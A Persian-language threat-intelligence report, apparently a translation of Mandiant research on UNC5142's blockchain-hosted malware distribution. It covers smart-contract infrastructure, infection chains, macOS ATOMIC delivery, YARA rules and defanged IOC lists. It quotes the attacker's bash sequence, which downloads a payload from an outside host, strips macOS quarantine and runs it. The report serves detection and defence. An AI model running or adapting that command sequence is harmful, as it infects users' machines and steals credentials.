با استفاده از قابلیت جستجوی شباهتهای (similarity search) قراردادهای هوشمند در BNB Smart Chain، فرآیندی که در اون بایت کد کامپایل شده ی قراردادها، برای یافتن شباهتهای عملکردی مقایسه میشه، مشخص شد که قراردادهای هوشمند اصلی و ثانویه در لحظه ی ایجادشان کاملا یکسان بودن. این موضوع به شدت نشان میده که تمام فعالیتهای مشاهده شده توسط یک بازیگر تهدید واحد یعنی UNC5142 انجام شده. احتمال بسیار بالایی وجود داره که این بازیگر زیرساخت اصلی موفق خودش رو کلون کرده تا پایهای برای زیرساخت ثانویه ایجاد کنه و بعدش از طریق تراکنشهای بعدی اونو بروزرسانی کرده تا پیلودهای متفاوتی رو منتشر کنه.
آنالیز بیشتر منابع تأمین مالی نشان داد که کیف پولهای اصلی هر دو گروه از یک کیف پول واسط مشترک (آدرس 0x3b5a…32D) تأمین مالی شدن. حسابی که با صرافی رمزارز OKX مرتبط هستش.
در حالیکه استناد صرفا به تراکنشهای انجام شده از کیف پولهای پرتراکنش صرافیها، نیازمند احتیاط هستش، اما این ارتباط مالی، همراه با کد قرارداد هوشمند یکسان و روشهای استقرار مشابه، به احتمال بسیار زیاد نشان میده که یک بازیگر تهدید واحد، یعنی UNC5142، هر دو زیرساخت رو کنترل میکنه.
زیرساختهای توزیع موازی:
سوابق تراکنشها نشان میده که رویدادهای کلیدی برای هر دو گروه (Main و Secondary) در بازه های زمانی نزدیک به هم رخ دادن، که نشانگر مدیریت هماهنگ شده هستش. در ۱۸ فوریه ۲۰۲۵، نه تنها کل زیرساخت ثانویه ایجاد و پیکربندی شده، بلکه کیف پول بازیگر اصلی (Main) هم در همان روز مجددا تأمین مالی شده. این فعالیت مالی هماهنگ شده به شدت نشان میده که یک بازیگر واحد در حال آمادهسازی و اجرای گسترش عملیات خودش بوده. علاوه بر این، در ۳ مارس ۲۰۲۵، سوابق تراکنش نشان میده که کیف پولهای عامل هر دو زیرساخت اصلی و ثانویه، فعالیتهایی برای بروزرسانی پیلودها و طعمه ها انجام دادن. این موضوع بیانگر مدیریت همزمان چند کمپین هستش، جایی که بازیگر تهدید بطور فعال در حال نگهداری و اجرای کمپین های توزیع جداگانه از طریق هر دو مجموعه قرارداد هوشمند بوده.
زیرساخت اصلی (Main):
آنالیز Mandiant Threat Defense نشان میده که ایجاد زیرساخت اصلی در بازهای کوتاه و متمرکز در ۲۴ نوامبر ۲۰۲۴ انجام شده. کیف پول عامل اصلی (آدرس: 0xF5B9…71B) در همان روز با ۰.۱ BNB (حدود ۶۶ دلار آمریکا در آن زمان) تأمین مالی شده. در ماههای بعد، این کیف پول و کیف پولهای واسط مرتبط باهاش، چندین بار تأمین مالی شدن تا بازیگر مطمئن بشه که مقدار کافی BNB برای پرداخت کارمزد تراکنشها، جهت ادامه عملیات داره.
سوابق تراکنشهای زیرساخت اصلی نشان میده که بروزرسانیهای منظم و پیوستهای در نیمه ی اول سال ۲۰۲۵ انجام شده. پس از راه اندازی اولیه، Mandiant مشاهده کرد که بروزرسانیهای پیلود و طعمهها تقریبا بصورت ماهانه و گاهی هر دو هفته یکبار از دسامبر ۲۰۲۴ تا پایان مه ۲۰۲۵ انجام شدن. این فعالیت مستمر که با بروزرسانیهای مکرر در قرارداد هوشمند سطح سوم همراه بوده، نشان دهنده ی نقش اون بعنوان زیرساخت اصلی کمپین های UNC5142 هستش.
زیرساخت ثانویه (Secondary):
Mandiant Threat Defense توسعه ی قابل توجهی رو مشاهده کرده که در اون بازیگر تهدید، زیرساخت ثانویه و موازی جدیدی رو مستقر کرده. کیف پول عامل ثانویه (آدرس: 0x9AAe…fac9) در ۱۸ فوریه ۲۰۲۵ تأمین مالی شده و ۰.۲۳۵ BNB (حدود ۱۵۲ دلار آمریکا در آن زمان) دریافت کرده. کمی بعد، کل سیستم سه قراردادی مستقر و پیکربندی شده. Mandiant مشاهده کرده که بروزرسانیهای زیرساخت ثانویه بین اواخر فوریه و اوایل مارس ۲۰۲۵ فعال بودن. پس از این دوره ی اولیه، تعداد بروزرسانیها در قراردادهای ثانویه بطور قابل توجهی کاهشی شده.
زیرساخت اصلی بعنوان هسته ی اصلی کمپین شناخته میشه، به دلیل زمان ایجاد زودتر و جریان مداوم بروزرسانیها. در مقابل، زیرساخت ثانویه بصورت یک استقرار تاکتیکی و موازی به نظر میرسه که احتمالا برای پشتیبانی از افزایش مقطعی در فعالیت کمپین، آزمایش طعمه های جدید یا افزایش تاب آوری عملیاتی راه اندازی شده. تا زمان انتشار این گزارش، آخرین بروزرسانی مشاهده شده روی زنجیره مربوط به این زیرساخت در ۲۳ ژوئیه ۲۰۲۵ بوده، که نشان میده احتمالا کمپین متوقف شده یا بازیگر تهدید روشهای عملیاتی خودش رو تغییر داده.

توزیع پیلود نهایی:
در طول یک سال گذشته، Mandiant Threat Defense مشاهده کرده که UNC5142 مجموعهای گسترده از پیلودهای نهایی از جمله VIDAR, LUMMAC.V2 و RADTHIEF رو توزیع کرده.

با توجه به توزیع انواع مختلف پیلودها در بازههای زمانی متفاوت، ممکنِ UNC5142 بعنوان یک خوشه ی توزیع بدافزار، عمل میکنه. خوشه های توزیع، نقش مهمی در چشم انداز تهدیدات سایبری مجرمانه ایفا میکنن و به بازیگران با سطوح مختلف توانایی فنی، این امکان رو میدن که بدافزار توزیع کنن و/یا دسترسی اولیه به محیط قربانیان رو بدست بیارن.
با این حال، با توجه به توزیع مداوم بدافزارهای سارق اطلاعات، محتمل است که هدف این خوشه ی توزیع، جمعآوری اعتبارنامه های سرقت شده برای انجام عملیات بعدی هستش. مثلا فروش این اعتبارنامه ها به خوشه های تهدید دیگه. در حالیکه مدل فعالیت دقیق UNC5142 مشخص نیست، GTIG فعلا این پیلودهای نهایی رو مستقیما به این خوشه نسبت نمیده، چون ممکن UNC5142 صرفا نقش توزیع کننده رو داشته باشه.
تحلیل زنجیره های آلودگی از ابتدای ۲۰۲۵ نشان میده که UNC5142 پس از طعمه ی اولیه ی CLEARSHORT از یک زنجیره ی قابل تکرار چهار مرحلهای برای تحویل استفاده میکنه:
- دراپر اولیه (Initial dropper): مرحله ی اول تقریبا همیشه شامل اجرای یک فایل HTML Application (.hta) از راه دور هستش، که اغلب با یک پسوند فایل بی خطر مانند xll (افزونه ی اکسل) جایگزین و جعل میشه. این مؤلفه که از یک دامنه ی مخرب یا یک سرویس اشتراک گذاری فایل قانونی دانلود میشه، بعنوان نقطه ی ورود برای اجرای کد روی سیستم قربانی بیرون از سندباکس امنیتی مرورگر عمل میکنه.
- لودر پاورشل: نقش اصلی دراپر اولیه دانلود و اجرای یک اسکریپت پاورشل مرحله ی دوم هستش. این اسکریپت مسئول فرار از مکانیزم های دفاعی و هماهنگی دانلود پیلود نهایی، هستش.
- سوء استفاده از سرویسهای قانونی: مهاجم بطور مداوم از سرویسهای میزبانی فایل قانونی مانند GitHub و MediaFire برای میزبانی blobهای داده ی رمزنگاری شده استفاده کرده و در برخی موارد پیلودهای نهایی، روی زیرساخت خود بازیگر میزبانی شدن. این تاکتیک به ترافیک مخرب کمک میکنه با فعالیت شبکه ی قانونی ترکیب بشه و فیلترهای مبتنی بر اعتبار رو دور بزنه. (منظور از اعتبار این سایتهای قانونی، برای مشروع بودن خودش استفاده میکنه)
- اجرا در حافظه (In-memory): اوایل ژانویه، اجراییها برای تحویل VIDAR استفاده میشدن، اما از اون زمان پیلود نهایی بصورت یک blob داده ی رمزنگاری شده که به شکل انواع فایل رایج، مثل mp4، .wav, .dat جعل شده بودن، تحویل داده میشن. لودر پاورشل شامل منطق دانلود این blob، رمزگشایی اون در حافظه، و اجرای پیلود نهایی (اغلب یک لودر NET.)، بدون اینکه بدافزار رمزگشایی شده، روی دیسک نوشته بشه، هستش.

کمپین های قبلی:
در زنجیره های آلودگی قبلی، آدرس URL مربوط به دراپر مرحله ی اول hta، اغلب مستقیما در دستور طعمه ی CLEARSHORT هاردکد میشد (مثلا mshta hxxps[:]//…pages.dev). اسکریپت پاورشل بعدش بدافزار نهایی رو مستقیما از یک مخزن عمومی مانند GitHub دانلود میکرد.
ژانویه ۲۰۲۵:
تکامل اصلی بازیگر این بود که دیگه بدافزار رو مستقیما بعنوان یک فایل اجرایی تحویل نده. در عوض، اونا شروع به میزبانی blobهای داده ی رمزنگاری شده روی سرویسهایی مانند MediaFire کردن که بصورت فایلهای رسانهای (مثل mp4, mp3) جعل شده بودن. لودرهای پاورشل، بروزرسانی شدن تا شامل توابع رمزگشایی (مثل AES، TripleDES) برای رمزگشایی این blobها در حافظه باشن و در نهایت یک دراپر NET. مرحله ی نهایی یا خود بدافزار رو ارائه بدن.
فوریه ی ۲۰۲۵ و بعدش:
تغییر قابل توجهتر، یکپارچه تر شدن زیرساخت درون زنجیرهای هکرها بود. بجای هاردکد کردن URL دراپر داخل طعمه، اسکریپت CLEARSHORT شروع به اجرای مستقیم eth_call به قرارداد هوشمند سطح سوم کرد. قرارداد هوشمند اکنون بصورت پویا آدرس URL دراپر مرحله ی اول رو فراهم میکرد. این به بازیگر کنترل کامل و بلادرنگ به زیرساخت، بعد از طعمه رو میده. هکرها میتونن دامنه ی دراپر، نام فایل و کل زنجیره ی بعدی رو تنها با ارسال یک تراکنش ارزان به قرارداد هوشمندشون تغییر بدن. در زنجیره ی آلودگی منجر به RADTHIEF، محققای Mandiant Threat Defense مشاهده کردن که بازیگر گاهی به روش قدیمی و هاردکد کردن URL مرحله ی اول در طعمه برگشته. این نشان میده که UNC5142 رویکردی انعطافپذیر داره و روشهای آلودگی خودش رو بر اساس هر کمپین تطبیق میده.
هدفگیری macOS:
نکته قابل توجه این که این خوشه ی تهدید هم سیستمهای ویندوز و هم macOS رو هدف قرار داده. در فوریه ی ۲۰۲۵ و دوباره در آوریل ۲۰۲۵، این گروه، بدافزار ATOMIC که یک بدافزار سارق اطلاعات مخصوص macOS هستش رو، توزیع کردن. طعمه های مهندسی اجتماعی برای این کمپین تکامل یافتن. در حالیکه طعمه ی فوریه صراحتا Instructions For MacOS رو ارائه میکرد، نسخه های آوریل تقریبا همانند طعمههایی بودن که در کمپین ویندوز استفاده میشدن.
در زنجیره ی آلودگی فوریه، طعمه، کاربر رو تشویق میکرد تا یک فرمان bash رو اجرا کنه که یک اسکریپت شل رو بازیابی میکرد (شکل بالا فوریه 2025). این اسکریپت بعدش با استفاده از curl، پیلود مربوط به ATOMIC رو از hxxps[:]//browser-storage[.]com/update دریافت میکرد و پیلود ATOMIC رو در فایلی با نام /tmp/update مینوشت.
|
1 2 3 4 |
curl -o /tmp/update https://browser-storage[.]com/update xattr -c /tmp/update chmod +x /tmp/update /tmp/update |
استفاده از دستور xattr در داخل اسکریپت bash یک تکنیک عمدی برای فرار از مکانیسم دفاعی هستش که ویژگی com.apple.quarantine رو حذف میکنه. این کار مانع از نمایش پیام امنیتی macOS میشه که معمولا قبل از اجرای اولین بار یک برنامه ی دانلود شده نمایش داده میشه و از کاربر برای اجرا، درخواست تایید میکنه.
چشمانداز و پیامدها:
در طول سال گذشته، گروه UNC5142 نشان داده که دارای چابکی، انعطاف پذیری و تمایل به سازگاری و تکامل در عملیات خودش هستش. از اواسط سال ۲۰۲۴ تاکنون، این خوشه ی تهدید مجموعهای گسترده از تغییرات رو آزمایش و پیاده سازی کرده، از جمله:
- استفاده از چندین قرارداد هوشمند
- رمزگذاری پیلودهای ثانویه با AES
- میزبانی صفحات لندینگ در دامنه های Cloudflare .dev
- معرفی تکنیک مهندسی اجتماعی جدیدی با نام ClickFix
احتمال زیاد این تغییرات با هدف دور زدن سامانه های شناسایی امنیتی، ایجاد پیچیدگی در فرآیند تحلیل، و افزایش میزان موفقیت عملیات اونا انجام شده. وابستگی این گروه به پلتفرمهای قانونی و شناخته شده مانند BNB Smart Chain و Cloudflare Pages، لایهای از مشروعیت ظاهری ایجاد میکنه که میتونه به دور زدن برخی از مکانیزمهای شناسایی امنیتی کمک کنه.
با توجه به بروزرسانیهای مکرر زنجیره ی آلودگی،حفظ ریتم ثابت در عملیات، حجم بالای سایتهای آلوده شده و تنوع زیاد در بدافزارهای توزیع شده در یک و نیم سال گذشته، میشه نتیجه گرفت که UNC5142 در عملیات خودش تا حدی موفقیت عملیاتیِ قابل توجهی کسب کرده.
با وجود اینکه از جولای ۲۰۲۵ به بعد، فعالیتهای UNC5142 ظاهرا متوقف یا در حالت تعلیق قرار گرفته، اما تمایل این گروه به استفاده از فناوریهای نوظهور و گرایش قبلی شون به تکامل مداوم TTPها میتونه نشان دهنده ی این باشه که اونا صرفا روشهای عملیاتی خودشون رو بطور عمیق تغییر دادن تا از شناسایی امنیتی فرار کنن.
فرصتهای شناسایی:
شاخصهای نفوذ (IOC) و رولهای YARA زیر، بصورت یک بسته ی جامع از قوانین و شاخصها در Google Threat Intelligence (GTI) در دسترس هستن. Mandiant قوانین مرتبط رو در مجموعه ی Mandiant Frontline Threats که در Google SecOps قرار داره منتشر کرده.
MITRE ATT&CK:
| Rule Name | Tactic | Technique |
| Run Utility Spawning Suspicious Process | TA0003 | T1547.001 |
| Mshta Remote File Execution | TA0005 | T1218.005 |
| Powershell Launching Mshta | TA0005 | T1218.005 |
| Suspicious Dns Lookup Events To C2 Top Level Domains | TA0011 | T1071.001 |
| Suspicious Network Connections To Mediafire | TA0011 | T1071.001 |
| Mshta Launching Powershell | TA0005 | T1218.005 |
| Explorer Launches Powershell Hidden Execution | TA0002 | T1059.001 |
قوانین YARA:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
rule M_Downloader_CLEARSHORT_1 { meta: author = "Mandiant" strings: $payload_b641 = "ipconfig /flushdns" base64 $payload_b642 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" base64 $payload_b643 = "[System.Diagnostics.Process]::Start(" base64 $payload_b644 = "-ep RemoteSigned -w 1 -enc" base64 $payload_o1 = "ipconfig /flushdns" nocase ascii wide $payload_o2 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" nocase ascii wide $payload_o3 = "[System.Diagnostics.Process]::Start(" nocase ascii wide $payload_o4 = "-ep RemoteSigned -w 1 -enc" nocase ascii wide $htm_o1 = "title: \"Google Chrome\"," $htm_o2 = "PowerShell" $htm_o3 = "navigator.clipboard.writeText" $htm_o4 = "document.body.removeChild" $htm_o5 = "downloadButton.classList.add('downloadButton');" $htm_o6 = "getUserLanguage().substring(0, 2);" $htm_o7 = "translateContent(userLang);" $htm_b64_1 = "title: \"Google Chrome\"," base64 $htm_b64_2 = "PowerShell" base64 $htm_b64_3 = "navigator.clipboard.writeText" base64 $htm_b64_4 = "document.body.removeChild" base64 $htm_b64_5 = "downloadButton.classList.add('downloadButton');" base64 $htm_b64_6 = "getUserLanguage().substring(0, 2);" base64 $htm_b64_7 = "translateContent(userLang);" base64 condition: filesize<1MB and (4 of ($payload_b*) or 4 of ($payload_o*) or 4 of ($htm_b*) or 4 of ($htm_o*)) } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
rule M_Downloader_CLEARSHORT_2 { meta: author = "Mandiant" strings: $htm1 = "const base64HtmlContent" $htm2 = "return decodeURIComponent(escape(atob(str)));" $htm3 = "document.body.style.overflow = 'hidden';" $htm4 = "document.body.append(popupContainer);" $htm5 = "Object.assign(el.style, styles);" $htm_b64_1 = "const base64HtmlContent" base64 $htm_b64_2 = "return decodeURIComponent(escape(atob(str)));" base64 $htm_b64_3 = "document.body.style.overflow = 'hidden';" base64 $htm_b64_4 = "document.body.append(popupContainer);" base64 $htm_b64_5 = "Object.assign(el.style, styles);" base64 condition: filesize<1MB and 5 of ($htm*) } |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
rule M_Downloader_CLEARSHORT_3 { meta: author = "Mandiant" strings: $smart_contract1 = "9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53" nocase $smart_contract2 = "8FBA1667BEF5EdA433928b220886A830488549BD" nocase $smart_contract3 = "53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA" nocase $smart_contract2_hex = /38(46|66)(42|62)(41|61)31363637(42|62)(45|65)(46|66)35(45|65)(64|44)(41|61)343333393238(42|62)323230383836(41|61)383330343838353439(42|62)(44|64)/ $smart_contract1_hex = /39313739(64|44)(64|44)(61|41)38(42|62)323835303430(42|62)(66|46)333831(41|61)(41|61)(42|62)(62|42)38(61|41)31(66|46)34(61|41)31(62|42)38(63|43)3337(45|65)(64|44)3533/ $smart_contract3_hex = /3533(66|46)(64|44)3534(66|46)3535(43|63)3933(66|46)39(42|62)(43|63)(43|63)(41|61)343731(63|43)(44|64)30(43|63)(63|43)(62|42)(61|41)(42|62)(43|63)33(41|61)(63|43)(62|42)(64|44)33(45|65)34(41|61)(41|61)/ $enc_marker1 = "4834734941444748553263432f34315662572f624" $enc_marker2 = "4834734941465775513263432f2b3257775772" $c2_marker_capcha = "743617074636861" $c2_marker_https = "68747470733a2f2f72" $c2_marker_json = "\"jsonrpc\":\"2.0\",\"id\":\"" $str1 = /Windows\s*\+\s*R/ nocase $str2 = /CTRL\s*\+\s*V/ nocase $str3 = "navigator.clipboard.writeText" nocase $str4 = "captcha" nocase $str5 = ".innerHTML" nocase $payload1 = ".shop" base64 $payload2 = "[scriptblock]::Create(" nocase $payload3 = "HTA:APPLICATION" nocase condition: filesize < 15MB and (any of ($smart_contract*) or any of ($enc_marker*) or all of ($c2_marker*) or all of ($str*) or all of ($payload*)) } |
Host-Based IOC:
| SHA256 | Malware Family |
| bcbdb74f97092dfd68e7ec1d6770b6d1e1aae091f43bcebb0b7bce6c8188e310 | VIDAR |
| 88019011af71af986a64f68316e80f30d3f57186aa62c3cef5ed139eb49a6842 | VIDAR |
| 27105be1bdd9f15a1b1a2b0cc5de625e2ecd47fdeaed135321641eea86ad6cb0 | VIDAR |
| 72d8fa46f402dcc4be78306d0535c9ace0eb9fabae59bd3ba3cc62a0bdf3db91 | LUMMAC.V2 |
| 3023b0331baff73ff894087d1a425ea4b2746caf514ada624370318f27e29c2c | LUMMAC.V2 |
| 4b47b55ae448668e549ffc04e82aee41ac10e3c8b183012a105faf2360fc5ec1 | RADTHIEF |
| 091f9db54382708327f5bb1831a4626897b6710ffe11d835724be5c224a0cf83 | ATOMIC |
Network-Based IOCs
| Date | CLEARSHORT Hosting URL |
| 2025-05-30 | hXXps://yie-cpj[.]pages[.]dev/ |
| 2025-05-05 | hXXps://n51v[.]pages[.]dev/ |
| 2025-05-05 | hXXps://lightsoi[.]pages[.]dev/ |
| 2025-05-01 | hXXps://stat[.]bluetroniq[.]vip/ |
| 2025-05-01 | hXXps://tnop[.]pages[.]dev/ |
| 2025-04-30 | hXXps://app.bytevista[.]cloud/wfree |
| 2025-04-30 | hXXps://ho8[.]pages[.]dev/ |
| 2025-04-30 | hXXps://z1z[.]pages[.]dev/ |
| 2025-04-30 | hXXps://yuun[.]pages[.]dev/ |
| 2025-04-29 | hXXps://tuboos[.]pages[.]dev/ |
| 2025-04-29 | hXXps://min-js-lib[.]pages[.]dev/ |
| 2025-04-28 | hXXps://yoloff[.]pages[.]dev/ |
| 2025-04-28 | hXXps://relmake[.]pages[.]dev/ |
| 2025-04-26 | hXXps://javascript-67t[.]pages[.]dev/ |
| 2025-04-25 | hXXps://sticker-88l[.]pages[.]dev/support |
| 2025-04-24 | hXXps://know-knock-who-is-here[.]pages[.]dev/ |
| 2025-04-23 | hXXps://ndgadfqwywqe[.]pages[.]dev/win |
| 2025-04-23 | hXXps://jjiiiiiiiiijjjj[.]pages[.]dev/ |
| 2025-04-22 | hXXps://gthfjdk[.]pages[.]dev/ |
| 2025-04-22 | hXXps://ffmqitnka[.]pages[.]dev/ |
| 2025-04-21 | hXXps://jrtersdfg[.]pages[.]dev/ |
| 2025-04-20 | hXXps://rhfvjck[.]pages[.]dev/ |
| 2025-04-20 | hXXps://tracklist22[.]pages[.]dev/ |
| 2025-04-20 | hXXps://tracklist22[.]pages[.]dev/ |
| 2025-04-20 | hXXps://sound-designer-v21[.]pages[.]dev/ |
| 2025-04-19 | hXXps://rivertracker[.]pages[.]dev/ |
| 2025-04-16 | hXXps://bootstrappa[.]pages[.]dev/ |
| 2025-04-16 | hXXps://renovateai[.]pages[.]dev/ |
| 2025-04-05 | hXXps://nhgfdc-ok[.]pages[.]dev/ |
| 2025-04-05 | hXXps://yt3cvkj43ws[.]pages[.]dev/ |
| 2025-04-04 | hXXps://rose-pole-chip[.]pages[.]dev/ |
| 2025-04-03 | hXXps://0-000-0[.]pages[.]dev/ |
| 2025-04-02 | hXXps://000-0-000[.]pages[.]dev/ |
| 2025-04-02 | hXXps://xxx-xx-x-xxx[.]pages[.]dev/ |
| 2025-03-18 | hXXps://ooooi1[.]pages[.]dev/kop |
| 2025-03-18 | hXXps://helloworld-f1f[.]pages[.]dev/penguin |
| 2025-03-16 | hXXps://hfdjb[.]pages[.]dev/start |
| 2025-03-13 | hXXps://sunlight-11[.]pages[.]dev/a |
| 2025-03-12 | hXXps://bbb1-9we[.]pages[.]dev/mountain |
| 2025-03-12 | hXXps://jsfiles-bqq[.]pages[.]dev/1 |
| 2025-03-11 | hXXps://mixg-u[.]pages[.]dev/page_d |
| 2025-03-07 | hXXps://kolobsgw[.]pages[.]dev/ |
| 2025-03-06 | hXXps://nn11[.]pages[.]dev/ |
| 2025-03-05 | hXXps://nnoq[.]pages[.]dev/ |
| 2025-03-05 | hXXps://fmoz[.]pages[.]dev/ |
| 2025-03-05 | hXXps://x1x1[.]pages[.]dev/native1E |
| 2025-03-05 | hXXps://fwfa[.]pages[.]dev/kioto |
| 2025-03-04 | hXXps://fhjwekn[.]pages[.]dev/ibn |
| 2025-03-04 | hXXps://dsk1a[.]pages[.]dev/onside |
| 2025-03-02 | hXXps://f23-11r[.]pages[.]dev/verse |
| 2025-03-02 | hXXps://dfhusj[.]pages[.]dev/train |
| 2025-03-01 | hXXps://bsdw[.]pages[.]dev/blink |
| 2025-02-28 | hXXps://hypo-dance[.]pages[.]dev/damn |
| 2025-02-26 | hXXps://ert67-o9[.]pages[.]dev/data |
| 2025-02-26 | hXXps://f003[.]backblazeb2[.]com/file/skippp/uu[.]html |
| 2025-02-26 | hXXps://f003[.]backblazeb2[.]com/file/skippp/index[.]html |
| 2025-02-25 | hXXps://hostme[.]pages[.]dev/host |
| 2025-02-25 | hXXps://ghost-name[.]pages[.]dev/website |
| 2025-02-24 | hXXps://gdfg-23rwe[.]pages[.]dev/index[.]html |
| 2025-02-21 | hXXps://sha-11x[.]pages[.]dev/ |
| 2025-02-20 | hXXps://b1-c1-k8[.]pages[.]dev/ |
| 2025-02-20 | hXXps://1a-a1[.]pages[.]dev/ |
| 2025-02-20 | hXXps://sdfwefwg[.]pages[.]dev/ |
| 2025-02-19 | hXXps://niopg[.]pages[.]dev/ |
| 2025-02-19 | hXXps://sdfwefwg[.]pages[.]dev/ |
| 2025-02-18 | hXXps://cleaning-devices-k[.]pages[.]dev/ |
| 2025-02-16 | hXXps://tour-agency-media[.]pages[.]dev/ |
| 2025-02-16 | hXXps://fresh-orange-juice[.]pages[.]dev/ |
| 2025-02-16 | hXXps://you-insk-bad[.]pages[.]dev/ |
| 2025-02-11 | hXXps://human-verify-7u[.]pages[.]dev/ |
| 2025-02-10 | hXXps://recaptcha-verify-me-1c[.]pages[.]dev/ |
| 2025-02-07 | hXXps://macos-browser-update-9n[.]pages[.]dev/ |
| 2025-02-07 | hXXps://macos-browser-update-5i[.]pages[.]dev/ |
| 2025-02-07 | hXXps://macos-browser-update-5y[.]pages[.]dev/ |
| 2025-02-07 | hXXps://recaptcha-verify-2e[.]pages[.]dev/ |
| 2025-02-07 | hXXps://recaptcha-verify-7z[.]pages[.]dev/ |
| 2025-02-07 | hXXps://recaptcha-verify-1t[.]pages[.]dev/ |
| 2025-02-04 | hXXps://recaptcha-verify-9m[.]pages[.]dev/ |
| 2025-02-02 | hXXps://disable-data-collect-ai[.]pages[.]dev/ |
| 2025-01-25 | hXXps://recaptcha-verify-1r[.]pages[.]dev/ |
| 2025-01-23 | hXXps://recaptha-verify-5q[.]pages[.]dev/ |
| 2025-01-22 | hXXps://recaptha-verify-6l[.]pages[.]dev/ |
| 2025-01-02 | hXXps://recaptha-verify-1n[.]pages[.]dev/ |
| 2024-12-31 | hXXps://recaptha-verify-4z[.]pages[.]dev/ |
| 2024-12-30 | hXXps://recaptha-verify-7u[.]pages[.]dev/ |
| 2024-12-28 | hXXps://recaptha-verify-c1[.]pages[.]dev/ |
| 2024-12-28 | hXXps://recaptha-verify-3m[.]pages[.]dev/ |
| 2024-12-27 | hXXps://recaptha-verify-2w[.]pages[.]dev/ |
| 2024-12-25 | hXXps://recaptha-verify-q3[.]pages[.]dev/ |
| 2024-12-23 | hXXps://recaptcha-dns-o5[.]pages[.]dev/ |
| 2024-12-21 | hXXps://recaptcha-dns-d9[.]pages[.]dev/ |
| 2024-12-20 | hXXps://recaptha-verify-9o[.]pages[.]dev/ |
| 2024-12-19 | hXXps://recaptcha-0d-verify[.]pages[.]dev/ |
| 2024-12-17 | hXXps://recaptha-verify-7y[.]pages[.]dev/ |
| 2024-12-15 | hXXps://dns-resolver-es8[.]pages[.]dev/ |
| 2024-12-14 | hXXps://ip-provider[.]pages[.]dev/ |
| Date | Next Stage Payload URL |
| 2025-05-30 | hXXps://kimbeech[.]cfd/cap/verify.sh |
| 2025-05-13 | hXXps://entrinidad[.]cfd/1/verify.sh |
| 2025-05-11 | hXXps://tofukai[.]cfd/2/verify.sh |
| 2025-05-08 | hXXps://privatunis[.]cfd/1/verify.sh |
| 2025-05-05 | hXXps://e[.]overallwobbly[.]ru/era-stc |
| 2025-05-01 | hXXps://salorttactical[.]top/2/verify.sh |
| 2025-04-28 | hXXps://security-2u6g-log[.]com/1/verify.sh |
| 2025-04-28 | hXXps://lammysecurity[.]com/4/verify.sh |
| 2025-04-27 | hXXps://security-7f2c-run[.]com/2/verify.sh |
| 2025-04-26 | hXXps://security-9y5v-scan[.]com/3/verify.sh |
| 2025-04-25 | hXXps://security-9y5v-scan[.]com/7/verify.sh |
| 2025-04-24 | hXXps://security-a2k8-go[.]com/6/verify.sh |
| 2025-04-23 | hXXps://security-check-l2j4[.]com/verify.sh |
| 2025-04-23 | hXXps://security-2k7q-check[.]com/1/verify.sh |
| 2025-04-22 | hXXps://security-check-u8a6[.]com/2/verify.sh |
| 2025-04-20 | hXXps://betiv[.]fun/7456f63a46cc318334a70159aa3c4291[.]txt |
| 2025-04-16 | hXXps://jdiazmemory[.]com/4/verify[.]sh |
| 2025-04-16 | hXXps://fleebunga[.]sbs |
| 2025-04-05 | hXXps://captcha-verify-6r4x[.]com/verify[.]sh |
| 2025-04-05 | hXXp://power[.]moon-river-coin[.]xyz/ |
| 2025-04-04 | hXXp://run[.]fox-chair-dust[.]xyz/ |
| 2025-04-03 | hXXps://captcha-cdn[.]com/verify.sh |
| 2025-04-02 | hXXp://bridge[.]tree-sock-rain[.]today/ |
| 2025-03-29 | hXXp://ok[.]fish-cloud-jar[.]us/ |
| 2025-03-18 | hXXp://message[.]zoo-ciry[.]shop/ |
| 2025-03-16 | hXXp://text[.]cherry-pink[.]shop |
| 2025-03-13 | hXXp://sandbox[.]silver-map-generator[.]shop/ |
| 2025-03-12 | hXXp://items[.]kycc-camera[.]shop/ |
| 2025-03-11 | hXXp://def[.]ball-strike-up[.]shop/ |
| 2025-03-07 | hXXp://incognito[.]uploads[.]it[.]com |
| 2025-03-07 | hXXps://bytes[.]microstorage[.]shop/ |
| 2025-03-05 | hXXps://black[.]hologramm[.]us/ |
| 2025-03-04 | hXXps://xxx[.]retweet[.]shop/ |
| 2025-03-02 | hXXps://butanse[.]shop/ |
| 2025-03-01 | hXXps://rengular11[.]today/ |
| 2025-02-28 | hXXps://lumichain[.]pro/ |
| 2025-02-27 | hXXps://www[.]mediafire[.]com/file_premium/d6r4c3nzfv9mgl7/glass.mp3/file |
| 2025-02-26 | hXXps://www[.]mediafire[.]com/file_premium/8q094mjevfshw6g/glass.mp3/file |
| 2025-02-26 | hXXps://tumbl[.]design-x[.]xyz/glass.mp3 |
| 2025-02-25 | hXXps://sandbox[.]yunqof[.]shop/macan.mp3 |
| 2025-02-25 | hXXps://block[.]a-1-a1a[.]shop/drive.mp3 |
| 2025-02-24 | hXXps://note1[.]nz7bn[.]pro/nnp.mp4 |
| 2025-02-22 | hXXps://ai[.]fdswgw[.]shop/one.mp4 |
| 2025-02-21 | hXXps://mnjk-jk[.]bsdfg-zmp-q-n[.]shop/1.mp4 |
| 2025-02-20 | hXXps://nbhg-v[.]iuksdfb-f[.]shop/ajax.mp3 |
| 2025-02-20 | hXXps://hur[.]bweqlkjr[.]shop/m41.mp4 |
| 2025-02-19 | hXXps://hur[.]bweqlkjr[.]shop/1a.m4a |
| 2025-02-19 | hXXps://yob[.]yrwebsdf[.]shop/1a.m4a |
| 2025-02-19 | hXXps://yob[.]yrwebsdf[.]shop/3t.mp4 |
| 2025-02-18 | hXXps://start[.]cleaning-room-device[.]shop/sha589.m4a |
| 2025-02-18 | hXXps://discover-travel-agency[.]pro/joke[.]m4a |
| 2025-02-18 | hXXps://discover-travel-agency[.]pro/walking[.]mp3 |
| 2025-02-17 | hXXps://discover-travel-agency[.]pro/1[.]m4a |
| 2025-02-16 | hXXps://travel[.]image-gene-saver[.]it[.]com/1[.]m4a |
| 2025-02-16 | hXXps://ads[.]green-pickle-jo[.]shop/1.m4a |
| 2025-02-13 | hXXps://recaptcha-verify-4h[.]pro/kangarooing.m4a |
